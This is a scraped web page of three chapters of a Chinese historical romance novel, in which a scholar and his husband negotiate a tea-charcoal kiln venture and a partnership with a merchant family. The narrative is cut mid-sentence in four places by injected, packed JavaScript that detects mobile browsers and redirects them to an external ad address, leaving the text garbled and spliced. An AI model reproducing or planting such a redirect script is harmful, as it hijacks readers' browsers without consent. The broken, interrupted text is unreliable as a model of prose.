l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15120561|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张中又带着些兴奋，或者更多的是不可置信，直直问向孟知彰：“当真可增产五成？” 孟知彰素来沉稳持重，他虽眼见施肥之田所长水稻秧壮穗长，可此时稻米还未归仓，一切尚未决，中间出现变数都有可能。尤其现在来问话的是他最为敬仰的南先生，换做平日，孟知彰一定会回一句：“尚未可知，有待最后考量。” “是。当真可增产五成。” 孟知彰的答复掷地有声，眼神坚定有力。他调整站姿，移了半步，与庄聿白并肩站在南时与祝槐新面前。 庄聿白成竹于胸：“若用了这肥田法子，每年增产的200石粮食便为我家夫君的束脩之资。当然农田非小事，两位先生有疑虑再所难免。马上秋收在即，南先生和朱先生若得闲，可来孟家村亲自看看。若我们今日所言属实，届时再应允这入学之事也不迟。” 中间柳叔来新增了茶水和果品，这一席话，他听得一颗心忽上忽下的。 南时坐回主位，喝了口茶，笑呵呵问庄聿白：“刚才这诉求，你只说了这‘第一’，我猜应该还有‘第二’吧。” 庄聿白笑弯了眼睛，从柳叔手上接过汤瓶，亲自为南时和祝槐新添了茶。 “这第二么，是关于茶炭。”庄聿白立于堂下，娓娓道来，“若说学田之事，还有半年的生长季，一时难以兑现。眼下茶炭生意却能很快见到银子。晚生还了解到偌大一座齐物山和附近几座小山，都在书院名下。所以在下想与山长商议一下，在山中建几口窑，生产茶炭。” 庄聿白研制的茶炭精良新巧，斗茶清会当日学政大人不吝当众夸赞，加上孟知彰摘得“茶魁”此炭也算功臣一位，所以庄聿白的茶炭目前在府城迅速走俏之事，祝槐新自然知晓。 祝槐新示意庄聿白说下去。 “以现有兰花炭来算，只有小炭窑一口，月产200斤，30文每斤月进账6两。若是在齐物山建3口大窑，每口月产400斤，40文每斤的话，月进账48两银子，除去每月8两人工等费用，一年便可得480两银子。我们计划与学院五五分成，若学田之事不成，茶炭这每年240两作为我家夫君的束脩之资，不知祝先生意下如何？” 身为书院山长，所管之事自然不止学子们的读书学问，书院往来进出之项皆需他管理操持。诺达一个学院，外头看着风光，祝槐新上任以来是细细盘过的，大有入不敷出之势，尤其根据恩师的授意，多收了许多寒门子弟，学田所出及各界的资助已开始有些捉襟见肘。 眼下若能有这茶炭的稳定进项，确实能让书院运维宽裕些。 庄聿白见祝槐新大有应允倾向，忙撞了下孟知彰，示意他将招文袋中的自己列的账目明细单子拿出来。 祝槐新接过庄聿白递来的手绘单子，只看了一眼，便止不住笑着点头。 庄聿白明白，不好意思地挠挠头：“……我这字，让先生笑话了。” 孟知彰忙上前解释：“我家夫郎的字……天然稚态，不失赤子真趣。” 庄聿白心中暗叹，这都能夸得下去，好吧，等晚上熄了灯好好“安慰”下你。如此想着，庄聿白不觉往孟知彰胸前扫了一眼。 只一眼，孟知彰一下明了其中深意，当着南时与祝槐新的面，身姿站得越发挺直。 耳垂却红了又红。 76. 茶伎 孟知彰和庄聿白从南时处辞别出来时，日头已经偏西。 估计是刚吃了兔肉涮锅，茶炭之事又有了大概眉目，回程路上庄聿白很是有些开心，东聊西聊说个不停。 先是不住夸野兔好吃，若是天天能吃上就好了。又说要在城中也买上几个风炉，等回到家，也可以随时涮火锅。当然啦，除了兔肉片之外，猪肉片，羊肉片，菘菜萝卜等等，万物都可以涮。 马上天凉了，雪天围在一起吃火锅，想想都幸福。 “你说是不是，孟知彰？”见一直是自己单方面输出，见对方没回应，庄聿白脚下紧走两步，扯了扯孟知彰的衣袖。 “是，听你的。”孟知彰放缓步子，就着庄聿白的节奏慢慢走，“抱歉，平时自己独行惯了，刚一时愣神，不觉走快了些。” “你方才想什么？”庄聿白小心看着脚下。山路崎岖，石阶上密这些青苔。 “我们今日算辞别了南先生与祝先生。临行前应该还有人要叙谈一番。” 今日柴炭之事，山长祝槐新看上去已有七八分意愿。至于后续炭窑建成落地、投产运营、甚至后续茶炭是售卖皆是需要细细考虑规划的。 这些事，庄聿白曾将初步计划说与孟知彰听。孟知彰也在默默做着盘算，万一有疏漏，他是那个站出来托底之人。 兰花炭在孟家村几乎顺风顺水，那是因为有牛叔这个后盾在。当前在府城另起炉灶开窑烧炭，若真想白手起家，恐怕来箍窑的工匠一时都难征集。孟知彰很自然想到那日遇到的薛启原，以及薛启原背后的薛家。 说道临行前与人叙谈，庄聿白接道：“我知道了，你是不是要去辞别九哥儿？” 身旁的脚步猛然站定。庄聿白一抬头，撞上孟知彰的眸子，晦暗幽深，深不见底，看得庄聿白心中有些发虚。 “喂！你干嘛这种眼神看我？我说错什么了么？人家当街解臂钏，当众送给你。这是多高的礼遇啊，我们这就要走了，不当面说声再见……不好吧。” 孟知彰侧转身，正对庄聿白：“那日赢回的彩头，你可是收下了的。” 庄聿白眼珠一骨碌，用力点点头：“收下了。已经好好放进我的小包裹里。御赐的呢，珍贵得紧。” “这算进你的嫁妆中。”孟知彰像是担心庄聿白听不懂，将那日凉亭夺魁时当众说的话，又重复了一遍，“茶不移本，从一而终……” 庄聿白不明白孟知彰为何如此，如此一本正经，甚至让他莫名产生一种被压制感，他忙将话题切回去： “这与九哥儿有什么关系。他那日不还说请我们喝茶么？还有他那臂钏……哎哟！啊——” 青苔湿滑，庄聿白脚下不注意，猛地一个大趔趄摔出去。就在要倒地的刹那，好在双手扳住一个有力的有温暖的胳膊，这才算没摔一个狗啃泥。 “……谢谢孟兄。”庄聿白抱着人家的胳膊站起来，试了两步，这才发现右脚似乎轻轻崴了下，“哎呦，脚扭了。” 不是很疼，也不影响正常走路。可小伤，怎么就不算伤了呢。 孟知彰将他扶正，蹲下身就要帮他检查脚上伤势。 两个大男人——大白天抓脚？！好说不好听呐，还是别了吧。 庄聿白一把将人拦住：“那个……勉强能走。天色马上暗了，劳烦孟兄扶着我些。” “嗯。”孟知彰一只胳膊伸过来，健硕、稳重又踏实。 庄聿白也没客气，直接半个身子倾在上面，深一脚浅一脚地往前走。脚上伤了，这嘴巴却没闲着，边走边说：“孟兄啊，接下来咱将茶炭生意扩展到府城，若得九哥儿这般人才助力，岂不是如虎添翼？以及他那臂钏，或许真的是想送你。” 孟知彰眸心沉了沉，既然再次提到九哥儿，孟知彰便跟庄聿白讲一讲九哥儿。 九哥儿是悦来茶坊的当家茶博士，也是茶坊的台柱子。骆家这些年遍寻资质上乘的茶僮，从小延请名师大家，进行教习培训，制茶品茶自不必说，琴棋书画、歌舞诗赋也需样样精通。九哥儿就是这万千茶僮中挑选出来的一个。 庄聿白眼中泛起星星，是香香软软又多才多艺的小哥哥呢，谁能不喜欢？他带着点花痴神情说道：“原来那日看到的曼妙舞姿和精湛茶艺，只是冰山一角呢。” 孟知彰将视线放远：“当然任何美好背后，都有着常人难以承受的苦痛。这些茶伎所受之训练，据说严苛到骇人的地步。虽为茶伎，以技侍人，也是以色侍人。所以，可以死，但外表绝不能看出伤残。即便是惩罚，皆是在看不见的地方，也都是些见不得光的手段。” 庄聿白听得心中一紧又一紧。 “这些手段，远超常人所能承受，更何况是一些七八岁的孩子，所以能站到人前的茶伎寥寥无几。像九哥儿这般，算是从地狱中修炼出来的一支曼陀罗，凤毛麟角。不过说到底，九哥儿是骆家的人。即便我们花再多钱想请九哥儿来做事，骆家，也是不会放人的。” 庄聿白有些沉默，缓了半日放道：“那他们训练这么多茶僮做什么？” “具体做什么，只有骆家最清楚。骆家原本并不擅长商贾之事，但他们掌控的势力，确实因为九哥儿等茶伎的存在，很快探插进府城经济的关键命脉。” 庄聿白扭头看向孟知彰：“你怎么知道这么多？你是不是也在偷偷关注九哥儿。虽然我和他见了没几面，但我庄聿白向来看人很准的。我就觉得他不错。如果他对你……” 孟知彰冷冷一个眼神扫过来，庄聿白立马住了嘴。 “可我孟知彰这方土地上，并不适合曼陀罗。”孟知彰的态度很坚决。他向来清楚自己要什么，也清楚自己能要什么。 “那你适合什么，孟兄？”庄聿白扒在孟知彰胳膊上，一双大眼睛忽闪忽闪看过来。 “……”孟知彰瞳孔一缩，定定看了庄聿白几秒，并未讲话。 庄聿白却像听到了一声叹息。 一条石阶向齐物山更深处铺去，庄聿白半挂在那条坚实有力的胳膊上，一步一步深浅不一地向前迈着步子。 林鸟啁啾，细风穿叶，头顶忽然响起一句看似没头没尾的话：“你唤我什么？” “孟兄啊？不是一直都唤你‘孟兄’么？”庄聿白看路的空档，抬头看了眼孟知彰，“有什么不对么？” “天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124690|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经擦黑了，再不快些走，恐怕野兽要出来觅食。”孟知彰说得认真。 “啊！”抓在孟知彰胳膊上的手猛然一紧，庄聿白有些慌，“那我们快些走！我，我一只脚跳着走或许能快些。” 庄聿白扶着的那只胳膊忽然垂了下去，“孟兄，走呀！你怎么不走了？天要黑了。” “或许换个方式，我们能早些回去？” 庄聿白一脸古怪地看着孟知彰：“孟兄，什么方式？” 孟知彰往自己身后挑下眉，意思是可以背对方一程。 庄聿白会意。这个好！这山路走得他辛苦极了。他刚要往对方身上爬，孟知彰却向旁跨出半步，松柏般站得笔直。 “你唤我什么？”孟知彰又问了一遍，“你重新说，或许我可以考虑直接背你回去。” “……？！”庄聿白一头雾水，比此间山中岚气还要潮湿。 “孟兄？” “孟公子？” “孟知彰？” “知彰兄？” 庄聿白一声一声试着。 孟知彰却在这一声声中，阔步超前走去，很快将庄聿白甩在身后，越落越远。 “……蛤？”庄聿白有些懵，看来没一句是合人家心意的，“欸！孟知彰，咱不兴这样的！好歹你是个读书人，就把我扔在这深山老林了，这卸磨杀驴的事怎么能干呐？” 孟知彰充耳不闻，甚至头也没回，继续朝前走。 见喊不回来，庄聿白一瘸一拐往前赶，嘴上愤愤不平：“我说你这个人怎么这样？真是铁石心肠！枉费我素日掏心掏肺对你好……” 没了身旁人扶着，庄聿白一双眼睛死死盯着脚下石板，一段路走得是兵荒又马乱。 庄聿白正东歪西倒找不准重心，两条胳膊忽然被人稳稳扶住。铁石心肠的人，走了回来。 “求人，就该有求人的态度，不是么？”眼神幽暗，声音温凉，威胁中带着一丝挑衅。 庄聿白心空了一拍：“那孟兄，我要如何求你？” “自己想。” “我知道了，我知道了”庄聿白死死抓住那又要抽走的手臂，软下脸面，“孟兄，求你背我回去！” “你重新问，我就背你回去。”孟知彰俯身过来，一双眼睛似夹着志在必得的笑意。 庄聿白抿了下唇。他忽然明白对方所指。心中叫苦不迭。 孟知彰啊孟知彰，方才在南先生那里不是给你面子，将这和谐体面的夫夫关系表演得像一些吗？人前可以叫，可眼下只有两个人，也这般称呼，那……那和耍流氓有什么区别！ 见对方迟迟不动，孟知彰站直身子：“或许你再想想。我先走？” “夫君，求你背我回去！” * 孟知彰和庄聿白二人回到住处时，牛大有正在接待客人。 薛氏兄弟午后便来了，一直等到现在，说今日无论多晚都要见到孟知彰和庄聿白。 今日斗茶清会落下帷幕，茶坊排名已出。作为第二名茶坊主人的薛家，带着满满诚意和详细规划而来。以防别人捷足先登，薛家必须赶在众人前向夫夫二人表明心迹。 77. 交好 庄聿白与薛启辰相处的这几日，从兄弟二人的做派举止，也能猜出薛家在府城的家世地位和经济实力绝非一般。 尤其是薛家，虽明令禁止与骆家对抗，但这位薛家二少还是敢明着叫板，让骆家难堪，也能说明这府城不只有骆家称雄，薛家的家资基础也绝非常人能比。 但薛家两位公子这次兴师动众来“投诚”。诚意之深深，意图之昭昭，不仅孟知彰和庄聿白没料到，薛家上下更是惊诧不已。 商贾向来精明敏锐，或许薛启原认为孟知彰奇货可居，或许又认定孟知彰将来定能仕途平顺、登堂进言。但孟知彰此时还只是一个小小秀才，说实话，大可不必如此。 薛启原在家中议事厅上说出要与今年院试榜首的一个小小秀才交好之时，薛家上下极为震惊。 虽然此人在此榜上越过骆家大公子骆耀庭，摘得榜首，但骆耀庭有整个骆家倾尽资源培养。这村野之中出来的小书生，即便文章作得再好，即便茶斗得再好，又能翻起什么风浪？ 与之交好，岂非石沉大海，甚至连一声响动也听不到。 薛启原端坐正堂之上，看着堂下各房主事之人。这其中有看着自己长大的族中耆老，有教习自己经商之道的堂伯堂叔，也有德高望重的庄子及铺子中的掌事、掌柜。 堂下乱成一团，说什么的都有。有人说这书生很会钻营，见得罪了骆耀庭，骆家是攀不上了，索性来攀薛家。甚至还有人推测说这书生定是会些邪魔外道的法术，生生迷惑了大公子，大公子这才心软要去帮扶他。 薛启原只默默听着，未做声。 这位二十岁出头的薛家大公子，年纪轻，资历浅，却能将这一大家子拢在一起，实属不易。门下各怀心思的大有人在，暗中搞小动作也不缺，但大事当前，薛启原就是能聚齐人心，将事情做成。 这靠的绝非长房长孙的出身，也非妻舅的裙带关系。若非要探究个原由，只能是他薛启原自身的智谋韬略与端正无偏的行事作派。 主少国疑，大臣未附，百姓不信。掌管这一个大家族，大抵也是如此。 二十岁的薛启原接管整个家族之时，各房诸多不服，甚至连分家言论都闹了出来。薛启原年纪虽轻却沉得住气，从始至终未分辩半句。 当时骆家正值在府城生意场上的扩张盛期，如日中天。对同行倾轧，收购，吞并，凭借背后势力，在东盛府大力洗牌，闹得不可一世。 原本几个和薛家不相上下的家族，很快败下阵来，一两年在府城就没了踪影。 但薛启原却扛住了。狂风巨浪面前，他带着整个薛家将岌岌可危的家族之脊强行保了下来。损伤在所难免，根基尚在。如一只蛟龙，虽陷泥潭，但势头也足以震慑骆家。 要么同归于尽，要么两下熄火，将平静归还东盛府。显然，权衡之后，骆家也选择了后者。 一些骑墙观风的薛家旁支，甚至往日视薛家为死敌的对手，被骆家碾压得无还手之力，大厦将倾之时，为求能获一线生机，见状纷纷投到薛启原脚下。 当时花白胡子的各家之主，站了满堂，为求庇护主动脱帽弯膝，向这个稚气未脱的少年俯首称臣。 从坐上薛家掌事人的位置，到真正成为薛家掌事人，薛启原用了四年光景。但这四年的浮沉仰止、明争暗斗，却比别人四十年的商场生涯都要血腥、难捱。好在他捱了过来。 不夸张地说，当前薛家攒下的大半数产业，都是薛启原凭一己之力从骆家碾压夹缝下挣来的。 商场之凶险绝不亚于战场。薛家立住脚跟后，稳住底盘，死死咬住机遇，拼着不服输的狠劲才一点点在这东盛府又立了起来。 眼下虽仍然无法与骆家抗衡，但薛家已经成为骆家不敢小觑的势力。而骆家引以为傲气的茶坊、药材、丝绸布匹、典当等生意，薛家不仅悉数入局，而且做得风生水起，大有乘胜追击之势。 所以，骆家做任何决策前，薛家也成为他们必须掂量观察的所在。若一棋走错，骆家也恐自身伤筋动骨。 而令整个骆家不容小觑的薛启原，此刻正坐在明堂，静静听着堂下众人的议论。 “像那王姓书生一般，按月定量给些银两，资助起读书求仕也不是不可以。”堂下有人率先让步。 提到的王姓书生，名王劼，东盛府人，就是此次斗茶清会上名列第三之人。王劼家贫无所依，靠着薛家的资助就读于三省书院。此次院试成绩，榜上第二十名。 “是啊，”有人附和，“这孟书生是榜首，每月比这王姓书生再多几两银子，也使得。或者探探他的意思，若可以再送一两个女子或哥儿给他，想必他也是愿意的。” “对了，听说他们家在外乡，城中无住处，从公中出些银两给他置办个小院呢？” …… 薛启原站起身，玉树临风，威仪凛凛。目光堂下只一扫，便像是敲了惊堂木，众人瞬时住了声。 薛家与孟知彰夫夫若有什么关系，绝不会是资助，更不是居高临下的施与，而且只能是平等交好。若这段关系必须有人低头，那只能是薛家。 薛启原又朝堂下看了一眼，起身走了。他只是来知会众人，并没有要与众人商议的意思。 至于如何交好，薛启原有自己的打算。 * 庄聿白趴在孟知彰背上，任由人背着自己往回走。 孟知彰的背，阔朗，坚实，像是寻不到边际。 庄聿白想起方才祝槐新看自己的字时忍俊不禁，孟知彰恐自己面子过不去，还忙想了一堆词帮自己遮掩。他心中还是感激的。 不过感激归感激，此处又没外人，装这恩爱夫夫的模样给谁看，还非要人亲口唤他“夫君”。幼稚。 孟知彰步子很稳，庄聿白感觉自己像趴在平静无澜的湖面上，偶有暗流飘过，船身悠悠摇曳两下。 不知想到什么，庄聿白在孟知彰背上欠欠身，一只手搂紧人家脖子，一只手却腾出来在人家肩背上画着什么。 手指隔着衣衫在右肩勾勒、游走。庄聿白看不见的地方，孟知彰眉心微锁，呼吸似错了一拍。 “……别闹。” “没闹，猜猜我刚画的是什么！” “……”。从来没有人想着要在一向稳矜持的孟知彰身上作画，孟知彰也不知世上竟还有这种孩子气的小把戏。 庄聿白双腿夹·紧：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127839|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快猜猜！” 孟知彰喉间一滞：“……刚没留意，你再画一遍。” 晚风起，琥珀色鬓发与那瀑黑发交·缠在一起，铺了一肩。庄聿白撩起放在一旁，认真作他的画。 “是只小兔子。”身下人开了口，胸腔和空气中传来的两股声音汇在一起，听上去更加有磁性。 “聪明！”庄聿白怕拍人家肩膀算作鼓励，“就是我们今天吃的野兔。嗯……我再画一个！” 林中越来越暗，月光从层叠枝丫间透下来，如柔纱铺了一路。天凉露重，桂子的香味越发馥郁，和气息一起萦绕鼻头，久久不散。 “是线条版的应龙！” “又对啦！那我换个难些的！”庄聿白咬了下嘴唇。 “是我的名字，孟知彰。”或许是错觉，身下人的声音似比平常轻快了。 “后面还有，孟知彰是……”庄聿白忽然挺直身子，遥遥向前指给孟知彰看，“是我眼花了吗？门外怎么停了这么多车马？” 院门外站着几个小厮，看见孟知彰夫夫忙跑着报进去：“大公子，孟公子和琥珀公子回来了！” 薛启原午后便到了竹舍，一听人不在家，还以为去赴了别人操办的一些意有所指的宴会。又听牛大有说去拜访南先生，心中才安定下来，索性也不走了，直接等在这里。 公中事务繁多，薛启原虽交代了自己今日去拜访贵客，若非急事，皆等他回来再议。可这么大的产业，每日几百件大事小情，即便上有各房叔伯看着，下有掌事掌柜亲身料理，但需要薛启原拿主意的事情，还是很多。 薛启原在竹舍刚坐稳，茶还没喝上两口，家中管家便追了来。接着是典当铺的掌柜，茶坊的掌事……薛启原听他们回话，气定神闲做着指示安排，调度牌子在手上过了十数个，一双眼睛却时不时往窗外看。 薛启辰是个待不住的性子。兄长说今日带他来拜访庄聿白，他原本高兴得像个放假过节的小孩子，谁知人还没见着，却在这规规矩矩站了大半日，陪他兄长处理内外事务。 若只是陪，倒还好了。他兄长时不时问他两句，“启辰，你怎么看？” 我怎么看？薛启辰不想看。但那么多掌事的在，薛启辰也只能硬着头皮上前，将他长嫂近来教他的东西现学现卖，临时拿来应付一番。 要么说薛启辰鬼机灵呢。他发现一件事无论自己怎么说与兄长听，兄长都会找出些“待精进”的地方让他改进，后来有一次，他特别提到了长嫂，那次的事情兄长答应得特别痛快。 从那之后，薛启辰但凡和他哥汇报，都会加“跟长嫂说过了”“问过了长嫂”“长嫂以为”，次次都顺利得不行，而且屡试不爽。 当然这次也不例外。 薛启原看看这位心眼子都写在脸上的弟弟，没多说什么。外面黑下来，他让几个小厮提灯去山中迎一迎，若回来了，及时来报。 药材铺的掌柜站在榻旁等着当家人示下，薛启原想了想说，“伤残的药多备些。会用得上。” 茶炭铺掌柜急急补上来，正说着天凉了炭火需求大之类的话，忽听外面小厮报孟知彰二人回来了，薛启原忙抬手打断对方，起身快步迎出去。 78. 臣服 薛启原迎到门外，这才发现来找他回话的掌事、掌柜们已站了满院，门外车马将路也堵了。他忙冲孟知彰和庄聿白深施一礼。 “抱歉，扰了孟公子和琥珀公子的清净。我这便让他们都回去。” 孟知彰二人忙点头还礼：“不知二位在家中等候，回来迟了。快里面请。” 薛启辰将庄聿白从孟知彰背上扶下来：“这脚是怎么了，家中就有医馆，我让小厮去将大夫请来。” 庄聿白这脚伤，三分真三分假的，兴师动众去请大夫过来，万一检查出来个安然无恙岂不是尴尬，忙拦住：“天黑路滑，不小心扭了下，不碍事。若明日不见好，再请大夫来也不迟。” 薛启辰忙转身拿回来两个糖人：“今日在街上见到的，这和合二仙做得极好，我一看便知你会喜欢，特意买了来。怎么样？” 庄聿白接过，道了谢。几人房中分宾主落了座。 四下无外人，薛启辰单刀直入，起身又施了一礼：“孟公子大才清志，绝非久居人下之辈。今时今日得遇公子，是我薛家之大荣幸。” 这一礼，过于郑重。一旁的薛启辰有些看不懂，不过兄长怎么做，他跟着怎么做。也起身深深施了一礼。 孟知彰与庄聿白对视一下，忙起身回礼。 薛启原也不拐弯抹角，直接亮牌，说出此行意图：“若孟公子不嫌弃，薛家之财之资，薛家之人之丁，将来皆可为公子所用。” 一盏灯火，轻轻晃动，满室静默。 “薛公子言重了。孟某实不敢当。”孟知彰沉思良久，缓缓道，“我本一乡野书生，此次院试承蒙学政大人等垂爱，方榜上有名，如今也只是秀才一名。薛家乃府城名望俱佳，凭现有资历，说句大不敬的话，薛公子当下这番话即便是同知府大人讲，也使得。” 投之以木桃，报之以琼瑶。若对方以整个家族为礼，当如何还？ 有些事，可以明码标价；有些事，再多筹码也无济于事。 对方盛情，孟知彰已然知晓。对方顾虑，薛启原自也知悉。 一笑泯前言。一笑启新篇。 斗茶会上众人送的茶果等还在，庄聿白和牛大有摆了几碟，又新添了些茶水。 简陋藤条圆桌，几人围坐一起，其乐融融，其笑晏晏。灯苗盈盈，照亮少年们独有的风发意气。 薛启辰因薛启原在身边，一开始还拘着规矩，说不敢说，笑不敢笑的。忽见此时的兄长也不像往常那般严肃，竟以茶代酒，与孟知彰推杯换盏起来。甚至同孟知彰说话的空档，还拈了块糕饼递给自己。 薛启辰看着递到面前的定胜糕，先是一怔，意识到什么，忙接过来，笑得见牙不见眼。 儿时，二人去祖母屋里请安，薛启辰身量小，哥哥薛启原也是这般将桌上的果子蜜饯拿下来递到自己手上。以至于很长很长一段时间，甚至已经开蒙读书了，薛启辰还是只吃哥哥亲自用手递过来的果子。 不过后来父亲去世，兄长做成为家中掌事人后，薛启辰便很少能这般和兄长坐下来一起吃东西了。像是一夜之间，兄长身边长出来无数老头子，他们围着兄长说些薛启辰听不懂的奇奇怪怪的话，还等着兄长安排指示他们如何去做。有时兄长一时决策不定，他们便恭敬得像寺庙里的供养人，只一位站在那虔诚许愿，动也不动。似乎菩萨不回应他们的愿望，他们便会一直站在那里，直到天荒地老。 而且这些老头子越围越多，像是要将他的兄长一点点吞没，也把薛启辰从兄长身边越挤越远。 后来他长大些，知道了这些都是家中铺子或庄子上的管事，他们一时找不到兄长甚至还会来找自己，将那些奇奇怪怪的话请自己转达。再之后，兄长竟派人教习自己这些奇奇怪怪的生意经营打理的东西。薛启辰便越发讨厌这些老头子们了。 吃了果子的薛启辰，活了过来，拉着庄聿白大说大笑的：“听说你们去赴南先生的私宴？满府城能吃上南先生一顿饭的人，屈指可数。恐怕连知府大人也不知道南先生家门朝哪开吧……” “不许浑说。”薛启原看了弟弟一眼，“南先生爱清净，才鲜少邀人登门。” 南先生虽已远离朝政，但清流中拥趸众多，即便是知府大人对南先生都是礼遇有加。当时南先生是因着三省书院山长祝槐新的邀约才来书院临时登台授业解惑的。消息一经传出，各界哗然。 达官贵人们争相来递帖子，论结交那是奢望也不敢奢望的，只求得见南先生一面便已知足。今年斗茶清会比往年更受关注，南先生现场亲往也是关键一点。 这座藏于深山，恨不得终年不见光的书院门外，竟百年不遇地门庭若市，热闹得连小商小贩小货郎都争着抢着来门外石阶上占位置、揽生意。 长此以往，也不是办法。山长求了知府大人，不得已由官方软性出面，才暂时保住了三省书院的往日清净。 对孟知彰夫夫一来府城就能受邀去南先生的私宴一事，薛启原心中也是反复掂量，不过并未宣之于口。 孟知彰读出对方眼神中闪过的那抹探究，坦言相告：“南先生与恩师算是故交，自己家贫，南先生见自己不至于太愚笨，便给谋了个抄书的事情，让自己有米果腹，有书可读。” “我听说了！我听说了！你是给三省书院的藏书阁抄书！”薛启辰来了兴致，能让他知道得这么清楚，当然是因为事涉骆家，“那骆耀庭将孟公子手抄本的书籍奉为皋圭，日日临摹，以为是出自哪位隐姓埋名的名家高手。后来得知是孟公子之字，在家发了好几天疯，把过往当宝贝一般奉之高阁的临摹字帖，一把火全烧了！他现在已经有了新的称号——‘叶公好龙’骆耀庭。” 薛启原摇摇头，又拈了一块桂花糕塞到弟弟手上，让他少说几句。不过看庄聿白也是个差不多的性子，也便由他了，只是静静在旁看着，有过界的地方及时提醒一二。 “你们在府城待几日。我长嫂见到你也一定喜欢，你若得闲，让我长兄在醉仙楼包个雅间，请我长嫂一起来！” 提到妻子，向来杀伐果决的薛启原，眼神中竟露出一丝慌张，手足无措的慌张：“你长嫂到时或许有事走不开。” “那我们挑个长嫂空闲的时间。”薛启辰竟还在坚持。 孟知彰给庄聿白递个眼神，庄聿白明了：“这次恐怕不行了。最迟后天一早我们便要启程回去了。出来这么久，家中事情都在请乡邻帮忙打理。相信很快我们还能在府城相聚，不是么？” 提到吃饭，庄聿白将今日在南先生家吃到“拨霞供”一事说与薛启辰听，这才知道涮锅子在当下并不普及。庄聿白将做法简单复述一遍，又狠狠夸赞了一通那野兔着实美味。当然也提到这锅中万般皆可煮，不仅可以涮兔肉，猪肉、羊肉、牛肉，以及各类时蔬、豆芽等。 “天凉了，众人围坐，自助而食，岂不美哉。”生意人敏感度就是不一般，薛启原立马闻出其中商机，直言道，“若这道涮锅改良后加入食肆售卖，不出两个月定能成为府城新宠。不知庄公子是否有意开家食肆？” 人生地不熟，开家食肆谈何容易？且府城这几日关于骆家的手段，庄聿白多少还是有所耳闻的，他同孟知彰交换下眼神，给出诚恳建议。 “听启辰兄说，薛家本也有酒楼。莫如薛公子将这涮锅子直接列入菜单。” 薛启原微微一怔，若说方才他没有动过这个念想，那不现实。只是他没想到庄聿白会直接把这个提议摆到桌面上，这么快，这么坦荡诚恳。 既然将涮锅做成了生意，那就需要谈生意。生意场有生意场的规矩，凡事标上价格才能让人安心。 庄聿白笑了笑，他知道薛启原在等这个“报价”：“薛公子是爽快人，我便直说。这涮锅的风炉内需要炭火，我希望这炭火全部用我们的庄记‘魁炭’。” 至于炭火供给，庄聿白说了方才与三省书院谈了大致的合作意向，准备在齐物山建窑烧炭。 薛启原忽然笑了，起身以茶代酒满饮一杯：“实不相瞒，今日我二人登门，有一项便是为了这炭而来。虽然我们也有自己的茶炭铺子，可所售之炭皆不及庄公子之兰花炭。” 庄聿白自然明白对方所指，也起身，满饮一杯回敬：“若薛公子有意，齐物山之炭便由薛家茶炭铺代为受理，如何？” 什么是合拍的合作伙伴？双方当下一拍即合。 涮锅与烹茶一俗一雅，所用炭火自然也有所不同。薛启原垂眸片刻，给出自己的制炭建议，连价格也一并给到庄聿白参考。 一等魁炭精研 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133133|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细磨，用于斗茶、焚香或者手炉取暖，每斤50文。二等魁炭中规中矩，用于涮锅，燃烧炭盆等，每斤30文。至于零碎的边角料也无需浪费，可售于食肆后厨，每斤5-10文。 凡事宜早不宜迟，但孟知彰夫夫马上返程，而以薛家的执行能力，这涮锅七日内就可以上桌。当务之急是让齐物山的窑火烧起来。 “若庄公子信得过薛家，前期选址、建窑、烧基炭等事宜，薛家可以全全代劳。后续涉及制作工艺上的事情，庄公子得闲时，可以另外安排人手。” 庄聿白明白对方这是在避嫌，也是在表态，毕竟茶炭工艺当时就有人高价来买断，而他薛家绝不做偷师学艺之事。 “那炭窑前期之事就拜托庄公子了。”庄聿白看看孟知彰，从他招文袋中将钱袋取出，“不过家中现银有限，目前只有这15两银子……” “好。这5两银子就是庄公子‘庄记魁炭’的启动银两。薛某收下了。”薛启原直接上手将5两银子取过，“其余银钱，薛某先挪用薛家接下来购买‘庄记魁炭’的费用。” 与爽快人共事，就是舒服。不仅急人之所急，还细心周到，给足人颜面。 当下四人举盏，共饮了一杯。 辞行前，薛启原关于涮锅又做了补充，说除用庄记魁炭之外，还承诺每售卖一锅，薛家直接拿出10文利润，5文给到庄聿白作为提出这个绝世好点子的报酬，5文捐给三省书院用于资助清贫学子，毕竟拨霞供的吃法还是南先生和祝山长处提供的。 